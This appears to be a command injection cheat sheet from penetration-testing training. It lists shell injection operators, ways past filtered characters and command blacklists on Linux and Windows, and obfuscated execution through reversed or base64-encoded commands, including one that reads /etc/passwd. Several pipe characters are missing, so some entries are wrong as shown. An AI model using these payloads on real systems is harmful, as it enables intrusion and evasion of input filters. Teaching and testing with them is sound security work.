



COMMAND INJECTIONS

CHEAT SHEET

Injection Operators

| Injection Operator | Injection Character | URL-Encoded Character | Executed Command |
|--------------------|-------------------------|------------------------|--|
| Semicolon | <code>;</code> | <code>%3b</code> | Both |
| New Line | <code>\n</code> | <code>%0a</code> | Both |
| Background | <code>&</code> | <code>%26</code> | Both (second output generally shown first) |
| Pipe | <code> </code> | <code>%7c</code> | Both (only second output is shown) |
| AND | <code>&&</code> | <code>%26%26</code> | Both (only if first succeeds) |
| OR | <code> </code> | <code>%7c%7c</code> | Second (only if first fails) |
| Sub-Shell | <code>``</code> | <code>%60%60</code> | Both (Linux-only) |
| Sub-Shell | <code>\$()</code> | <code>%24%28%29</code> | Both (Linux-only) |

Linux

Filtered Character Bypass

| Code | Description |
|-----------------------|---|
| <code>printenv</code> | Can be used to view all environment variables |
| Spaces | |
| <code>%09</code> | Using tabs instead of spaces |

| Code | Description |
|--|---|
| <code>\${IFS}</code> | Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. <code>\$()</code>) |
| <code>{ls,-la}</code> | Commas will be replaced with spaces |
| Other Characters | |
| <code>\${PATH:0:1}</code> | Will be replaced with <code>/</code> |
| <code>\${LS_COLORS:10:1}</code> | Will be replaced with <code>;</code> |
| <code>\$(tr '!-}' ' '"-~'<<<[)</code> | Shift character by one (<code>[-> \</code>) |

Blacklisted Command Bypass

| Code | Description |
|--|-------------------------------------|
| Character Insertion | |
| <code>'</code> or <code>"</code> | Total must be even |
| <code>\$@</code> or <code>\</code> | Linux only |
| Case Manipulation | |
| <code>\$(tr "[A-Z]" "[a-z]"<<<"whoami")</code> | Execute command regardless of cases |
| <code>\$(a="whoami";printf %s "\${a,,}")</code> | Another variation of the technique |
| Reversed Commands | |
| <code>echo 'whoami' rev</code> | Reverse a string |
| <code>\$(rev<<<'imaohw')</code> | Execute reversed command |
| Encoded Commands | |
| <code>echo -n 'cat /etc/passwd grep 33' base64</code> | Encode a string with base64 |
| <code>bash<<<\$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)</code> | Execute b64 encoded string |

Windows

Filtered Character Bypass

| Code | Description |
|-------------------------------------|--|
| <code>Get-ChildItem Env:</code> | Can be used to view all environment variables - (PowerShell) |
| Spaces | |
| <code>%09</code> | Using tabs instead of spaces |
| <code>%PROGRAMFILES:~10, -5%</code> | Will be replaced with a space - (CMD) |
| <code>\$env:PROGRAMFILES[10]</code> | Will be replaced with a space - (PowerShell) |
| Other Characters | |
| <code>%HOMEPATH:~0, -17%</code> | Will be replaced with <code>\</code> - (CMD) |
| <code>\$env:HOMEPATH[0]</code> | Will be replaced with <code>\</code> - (PowerShell) |

Blacklisted Command Bypass

| Code | Description |
|---|--|
| Character Insertion | |
| <code>' or "</code> | Total must be even |
| <code>^</code> | Windows only (CMD) |
| Case Manipulation | |
| <code>WhoAmI</code> | Simply send the character with odd cases |
| Reversed Commands | |
| <code>"whoami"[-1..-20] -join ''</code> | Reverse a string |

| Code | Description |
|--|-----------------------------|
| <pre>iex "\$('imaohw'[-1..-20] -join ' ')"</pre> | Execute reversed command |
| Encoded Commands | |
| <pre>[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))</pre> | Encode a string with base64 |
| <pre>iex "\$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"</pre> | Execute b64 encoded string |